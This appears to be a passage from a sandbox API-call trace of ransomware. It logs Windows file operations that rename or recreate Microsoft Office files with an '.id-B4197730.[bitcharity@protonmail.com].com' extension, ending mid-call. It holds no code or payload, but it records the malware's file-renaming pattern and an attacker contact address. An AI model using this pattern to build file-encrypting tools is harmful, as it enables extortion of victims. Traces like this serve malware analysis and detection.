[0266.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1086\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.815] CloseHandle (hObject=0x1278) returned 1 [0266.815] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.815] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1087\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.816] CloseHandle (hObject=0x1278) returned 1 [0266.817] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.817] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1110\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.817] CloseHandle (hObject=0x1278) returned 1 [0266.818] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.818] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2052\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.818] CloseHandle (hObject=0x1278) returned 1 [0266.819] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.819] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2070\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.819] CloseHandle (hObject=0x1278) returned 1 [0266.820] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.820] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2074\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.820] CloseHandle (hObject=0x1278) returned 1 [0266.820] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.820] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\3082\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.821] CloseHandle (hObject=0x1278) returned 1 [0266.821] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.821] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\9242\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.822] CloseHandle (hObject=0x1278) returned 1 [0266.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Appshapi.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appshapi.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Appshapi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appshapi.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\appshvw.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appshvw.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\appshvw.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appshvw.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppvIsvSubsystems64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\appvisvsubsystems64.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\audiosearchsapife.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AUDIOSEARCHSAPIFE.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\audiosearchsapife.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.655] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.655] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART1.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart1.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.656] CloseHandle (hObject=0x127c) returned 1 [0267.657] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.657] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART10.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart10.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.657] CloseHandle (hObject=0x127c) returned 1 [0267.659] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.659] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART11.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart11.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.659] CloseHandle (hObject=0x127c) returned 1 [0269.515] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.515] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\POST.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\post.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.515] CloseHandle (hObject=0x1278) returned 1 [0269.516] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.516] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\CHEVRON.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\chevron.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.516] CloseHandle (hObject=0x1278) returned 1 [0269.517] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.517] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\COMPUTER.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\computer.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.517] CloseHandle (hObject=0x1278) returned 1 [0269.518] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.518] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\ContactSelector.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\contactselector.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.518] CloseHandle (hObject=0x1278) returned 1 [0269.521] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.521] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\GWE.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\gwe.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.522] CloseHandle (hObject=0x1278) returned 1 [0269.523] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.523] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\INCOMING.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\incoming.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.523] CloseHandle (hObject=0x1278) returned 1 [0269.524] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.524] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\INDOMAIN.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\indomain.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.525] CloseHandle (hObject=0x1278) returned 1 [0269.525] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.525] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\MAIL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\mail.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.526] CloseHandle (hObject=0x1278) returned 1 [0269.526] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.526] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\MANUAL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\manual.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.527] CloseHandle (hObject=0x1278) returned 1 [0269.528] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.528] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\messageboxalert.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\messageboxalert.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.528] CloseHandle (hObject=0x1278) returned 1 [0269.529] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.529] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\messageboxerror.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\messageboxerror.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.529] CloseHandle (hObject=0x1278) returned 1 [0269.529] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.530] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\messageboxinfo.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\messageboxinfo.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.530] CloseHandle (hObject=0x1278) returned 1 [0269.530] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.530] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\ModifiedTelespace.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\modifiedtelespace.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.531] CloseHandle (hObject=0x1278) returned 1 [0269.531] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.531] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\OFFLINE.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\offline.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.532] CloseHandle (hObject=0x1278) returned 1 [0269.532] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.532] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\ONLINE.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\online.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.533] CloseHandle (hObject=0x1278) returned 1 [0269.533] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.533] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\OnLineBusy.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\onlinebusy.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.534] CloseHandle (hObject=0x1278) returned 1 [0269.534] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.534] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\OnLineIdle.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\onlineidle.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.535] CloseHandle (hObject=0x1278) returned 1 [0269.535] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.535] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\OutDomain.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\outdomain.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 